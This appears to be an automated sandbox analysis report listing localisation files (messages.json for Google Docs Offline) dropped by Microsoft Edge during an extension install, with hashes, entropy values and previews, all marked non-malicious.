Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
